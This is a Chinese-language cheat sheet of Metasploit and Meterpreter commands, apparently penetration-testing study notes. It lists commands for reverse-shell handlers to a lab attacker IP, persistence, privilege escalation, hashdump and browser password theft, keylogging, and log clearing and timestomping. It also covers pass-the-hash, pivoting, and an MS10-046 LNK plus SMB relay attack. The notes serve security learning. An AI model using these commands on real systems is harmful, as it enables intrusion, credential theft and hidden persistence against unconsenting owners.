MSF终端命令
常用命令
- show exploits
列出 Metasploit 框架中的所有渗透攻击模块 - show payloads
列表 Metasploit 框架中所有的攻击载荷 - show auxiliary
列出 Metasploit 框架中的所有辅助攻击模块 - search name
查找 Metasploit 框架中所有的渗透攻击和其他模块 - info
展示出制定渗透攻击或模块的相关信息 - use name
装载一个渗透攻击或者模块(例如:使用 use windows/smb.psexec) - show options
列出某个渗透攻击或模块中所有的配置参数 - show targets
列出渗透攻击所支持的目标平台 - show payloads
列出所有可用的payloads - show advanced
列出所有高级配置选项 - set payload Payload
指定要使用的攻击载荷 - set target Num
指定渗透攻击的目标平台,Num是show targets命令中所展示的索引 - set autorunscript migrate -f
在攻击完成后,将自动迁移到另一个进程 - check
检测目标是否对选定的渗透攻击存在相应安全漏洞 - exploit/run
执行攻击,部分辅助模块是用run - exploit -j
在计划任务下进行渗透攻击(攻击将在后台进行) - exploit -z
渗透攻击成功后不与会话进行交互 - exploit -e encoder
制定使用的攻击载荷编码方式(例如:exploit -e shikata_ga_nai) - exploit -h
列出exploit命令的帮助信息 - sessions -I
列出可用的交互会话 - sessions -I -v
列出所有可用的交互会话以及会话详细信息 - sessions -s script
在所有活跃的 Meterpreter 会话中运行一个特定的脚本 Meterpreter 脚本 - sessions -K
杀死所有活跃的交互会话 - sessions -c cmd
在所有活跃的交互会话上执行一个命令 - sessions -u sessionID
升级一个普通的Win32 shell 到 Meterpreter shell(不知道有什么用) - sessions -i index
进入指定交互会话 - jobs
查看当前运行的模块
数据库相关命令
- db_create name
创建一个数据库驱动攻击所要使用的数据库 - db_connect name
创建并连接一个数据库 - db_nmap
利用 nmap 并把扫描数据存储到数据库中 - db_autopwn -h
展示出 db_autopwn 命令的帮助信息 - db_autopwn -p -r -e
对所有发现的开放端口执行 db_autopwn,攻击所有系统 - db_destroy
删除当前数据库 - db_destroy user:password@host:port/database
使用高级选项来删除数据库
Meterpreter命令
常用命令
- help
打开 Meterpreter 使用帮助 - run scriptname
运行 Meterpreter 脚本,在 scripts/meterpreter 目录下可查看到所有脚本 - use priv
加载特权提升扩展模块,来扩展 Meterpreter 库 - getprivs
尽可能多地获取目标主机上的特权 - getsystem
通过各种攻击向量来提升到系统用户权限 - hashdump
导出目标主机中的口令哈希值 - rev2self
回到控制目标主机的初始用户账户下 - setdesktop number
切换到另一个用户界面(该功能基于哪些用户已登录) - screenshot
对目标主机的屏幕进行截图 - background
将当前 Meterpreter shell 转为后台执行 - quit
关闭当前Meterpreter会话,返回MSF终端
系统命令
- ps
显示所有运行进程以及关联的用户账户 - migrate PID
迁移到一个指定的进程PID - execute
执行目标机上的文件
例1:在目标机上隐藏执行cmd.exe
execute -H -f cmd.exe
例2:与cmd进行交互
execute -H -i -f cmd.exe
例3:直接从内存中执行攻击端的可执行文件
execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt”
1) -d选项设置需要显示的进程名
2) 可执行文件(wce.exe)不需要在目标机上存储,不会留下痕迹 - getpid
获得当前会话所在进程的PID值 - kill PID
终结指定的PID进程 - getuid
获得运行Meterpreter会话的用户名,从而查看当前会话具有的权限 - sysinfo
列出受控主机的系统信息 - shell
以所有可用令牌来运行一个交互的shell - add_user username password -h IP
在远程目标主机上添加一个用户 - add_group_user “Domain Admins” username -h IP
将用户添加到目标主机的域管理员组中 - execute -f cmd.exe -i
执行 cmd.exe 命令并进行交互 - execute -f cmd.exe -i -t
以所有可用令牌来执行 cmd 命令并交互 - execute -f cmd.exe -i -H -t
以所有可用令牌来执行 cmd 命令并隐藏该进程 - reboot
重启目标主机 - shutdown
关闭目标主机
文件模块
- ls
列出目标主机的文件和文件夹信息 - reg command
在目标主机注册表中进行交互,创建、删除、查询等 - upload file
向目标主机上传文件 - download file
从目标主机下载文件 - timestomp
修改文件属性,例如修改文件的创建时间
例如:timestomp file1 -f file2
将file1文件的时间信息设置得与file2文件完全一样 - cat
查看文件内容 - getwd
获得目标机上当前的工作目录 - edit
编辑目标机上的文件 - search
对目标机上的文件进行搜索,支持星号匹配,如
search -d c:\windows -f *.mdb
键盘鼠标模块
- keyscan_start
针对目标主机开启键盘记录功能 - keyscan_dump
存储目标主机上捕获的键盘记录 - keyscan_stop
停止针对目标主机的键盘记录 - uictl enable keyboard/mouse
接管目标主机的键盘和鼠标
网络命令
ipconfig
获取目标机上的网络接口信息portfwd
Meterpreter内嵌的端口转发器,例如将目标机的3389端口转发到本地的1234端口
portfwd add -l 1234 -p 3389 -r 192.168.10.142route
显示目标机的路由信息run get_local_subnets
获取目标机所配置的内网的网段信息
嗅探模块
- use sniffer
加载嗅探模块 - sniffer_interfaces
列出目标主机所有开放的网络接口 - sniffer_start interfaceID
在目标主机指定网卡上开始监听 - sniffer_dump interfaceID /tmp/xpsp1.cap
将指定网卡上嗅探的内容dump到本地/tmp/xpsp1.cap文件中 - sniffer_stats interfaceID
获取正在实施嗅探网络接口的统计数据 - sniffer_stop interfaceID
停止嗅探
日志清理
- clearev
清除目标主机上的日志记录 - run event_manager
清理日志 - 删除多余的文件,修改文件的修改时间
后渗透攻击模块
两种使用方法
1、在Msf终端通过 use post/xxxxxx ,然后设置相关的参数(如 SESSION),然后执行exploit
2、在Meterpreter会话中,直接用 run post/xxxxxxxx执行
- persistence 模块——开机自启动
run persistence -X -i 5 -p 443 -r 192.168.10.141
命令会在目标主机的注册表键HKLM\Software\Microsoft\Windows\Currentversion\Run中添加一个键值,达到开机自启动
-X 参数指定启动的方式为开机自启动
-i 参数指定反向连接的时间间隔
对应攻击机的监听操作如下:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.10.141
set LPORT 443
exploit
metsvc 模块——持久化自启动
run metsvc
将Meterpreter以系统服务的形式安装到目标主机上,在目标主机上开启监听并等待连接getgui 模块——开启远程桌面
run getgui -u metasploit -p meterpreter
在目标主机上添加了账号metasploit,其密码为meterpreter,并开启了远程控制终端
这时在本地连接目标IP的3389端口即可,如果对方处在内网中,可以使用portfwd命令进行端口转发
注意:脚本运行会在/root/.msf4/logs/scripts/getgui目录下生成clean_up__xxxxxxx.rc脚本,
当在远程桌面操作完之后,可以使用这个脚本清除痕迹,关闭服务、删除添加的账号
run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up_xxxxxx.rc
权限提升
getsystem
集成了4种权限提升技术
getsystem利用提权模块,如MS10-073、MS10-092
位于 /post/windows/escalate 和 exploit/windows/local 目录中
可以通过搜索对应的漏洞编号来查看利用bypassuac模块进行绕过提权
信息窃取
dumplinks 后渗透模块
run post/windows/gather/dumplinks
查看最近处理的文件资料,
对每一个LNK文件,Metasploit都在/root/.msf4/loot目录下生成了对应的记录文件,包含文件的原始位置、创建和修改时间等enum_applications 后渗透模块
run post/windows/gather/enum_applications
获得目标主机安装的软件、安全更新与漏洞补丁的信息键盘记录相关
keyscan_start
keyscan_dump
keyscan_stop
口令攫取和利用
使用sniffer嗅探模块
除外post/windows/gather/credentials目录下集成了数十个口令攫取的后渗透攻击模块,
包括VNC、Outlook、FlashFXP、Coreftp、Dyndns等
通过浏览器进行口令攫取
- run post/windows/gather/enum_ie
读取缓存的IE浏览器密码
系统口令攫取
hashdump
获取系统的密码哈希run windows/gather/smart_hashdump
如果hashdump不成功,尝试此命令
如果开启了UAC,需要先使用绕过UAC的后渗透攻击模块,再获取
内网拓展
添加路由
run get_local_subnets
background
route add 192.168.10.0 255.255.255.0 1
route print
意味着对192.168.10.0/24网段的所有攻击和控制的流量都将通过会话1进行转发
进行445端口扫描
MSF终端:
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.10.0/25
set PORTS 445
run
哈希传递攻击
MSF终端:
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.128
set LPORT 443
set RHOST 192.168.10.2
set SMBPass xxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxx
exploit
MS08-068和MS10-046漏洞相互配合
MS08-068:当目标机通过SMB协议连接到攻击者的恶意SMB服务器时,攻击者延时发送SMB响应,提取目标机发送的重要字段如NTLM哈希并对目标机进行重放,达到身份认证的目的后可以执行任意代码
MS10-046:LNK快捷方式文件漏洞
* 生成恶意lnk文件
MSF终端:
use post/windows/escalate/droplnk
set LHOST 192.168.10.141 // 查看session的Connection字段
set SESSION 19 // 对应的session id
exploit
会在目标主机的C:\WINDOWS\system32目录下创建一个Words.lnk文件,
当存在漏洞的目标机打开了包含此快捷方式的文件夹,就会以SMB方式连接到设定的SMB服务器(192.168.10.141),以尝试加载远程图标
- 搭建SMB服务器
MSF终端:
use windows/smb/smb_relay
set SRVHOST 192.168.10.141
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.141
exploit